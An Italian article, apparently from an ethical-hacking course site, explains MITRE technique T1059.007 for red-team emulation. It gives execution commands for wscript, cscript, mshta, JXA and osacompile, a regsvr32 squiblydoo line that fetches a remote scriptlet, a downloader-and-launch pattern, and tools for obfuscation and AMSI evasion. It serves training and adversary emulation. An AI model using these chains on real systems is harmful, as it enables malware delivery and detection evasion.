JavaScript Malevolo: JavaScript (T1059.007)
JavaScript è uno dei linguaggi di scripting più abusati nelle catene d'attacco moderne, grazie alla sua natura multi-piattaforma e alla profonda integrazione con browser, sistemi operativi e framework di automazione. La tecnica T1059.007 copre l'abuso di tutte le sue implementazioni: il JavaScript classico eseguito nei browser o via Node.js, il JScript di Microsoft interpretato dal Windows Script Host e integrato con COM, DCOM e le pagine HTA di Internet Explorer, e il JavaScript for Automation (JXA) introdotto in macOS 10.10 come parte dell'Open Scripting Architecture, eseguibile tramite osascript o compilato con osacompile.
La tecnica appartiene alla tattica TA0002 (Execution) e rappresenta uno dei vettori più flessibili per portare codice adversary-controlled su un endpoint. Si colloca tipicamente nelle prime fasi della kill chain, subito dopo l'Initial Access (drive-by compromise, phishing con allegati HTA o archivi ZIP contenenti file .js), ma serve anche come collante per fasi successive: download di payload secondari, esecuzione fileless, persistenza e comunicazione C2.
I numeri riflettono la centralità del vettore nell'ecosistema offensive: 25 gruppi APT documentati, 32 famiglie malware, 5 campagne tracciate e 4 mitigazioni consolidate. La combinazione con Obfuscated Files or Information è quasi sistematica, dato che i payload testuali si prestano a offuscamento aggressivo (packing, encoding, string splitting) per evadere signature statiche.
In un ingaggio red team, JavaScript offre superficie d'attacco su tre sistemi operativi. Su Windows la catena più comune sfrutta il Windows Script Host: un file .js o .jse viene eseguito con wscript.exe payload.js oppure cscript.exe //E:JScript payload.js, mentre le pagine HTA vengono invocate con mshta.exe file.hta — quest'ultimo particolarmente utile perché mshta è LOLBAS ed è spesso trascurato dai controlli di application whitelisting.
Per generare payload realistici, Donut (open source) produce shellcode incapsulabile in JavaScript o JScript loader, mentre Nishang (open source) e Empire (open source) contengono moduli JScript per delivery iniziale. Un pattern classico è lo squblydoo-style: un file .sct scriptlet ospitato remotamente ed eseguito via regsvr32 /s /u /i:http-endpoint scrobj.dll (sostituendo il protocollo con un fetch locale in laboratorio). Per emulare campagne come Gootloader o SocGholish, si costruiscono file ZIP con .js fortemente offuscati che, una volta doppio-cliccati dall'utente, invocano wscript.exe.
Per simulare JSS Loader o Latrodectus, un pattern operativo tipico prevede un JavaScript di primo stadio che scarica un secondo payload PE tramite oggetto MSXML2.XMLHTTP o WinHttp.WinHttpRequest.5.1, lo scrive in %APPDATA% e lo lancia via WScript.Shell.
Su macOS l'equivalente è JXA. Un esempio operativo minimale è osascript -l JavaScript -e 'ObjC.import("Cocoa"); $.NSWorkspace.sharedWorkspace.launchApplication("Calculator")', che dimostra il ponte JXA→Objective-C. Framework come Apfell/Mythic (open source) sfruttano JXA come agent nativo, sfruttando OSAKit.framework per esecuzione in-memory senza toccare il disco. La compilazione persistente si ottiene con osacompile -l JavaScript -o payload.app payload.js.
Su Linux il vettore Node.js emerge con campagne come Contagious Interview (script nvidia.js): l'operatore prepara un progetto npm apparentemente legittimo che al npm install o node index.js esegue codice offensivo. In laboratorio, BeEF (open source) resta il framework di riferimento per browser hooking JavaScript lato client.
Per offuscamento e evasione AMSI, tool come obfuscator.io (freemium) o JavaScript-Obfuscator (open source) producono payload difficili da signature-are; test con AMSITrigger (open source) permettono di verificare quali stringhe scatenano l'inspection.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo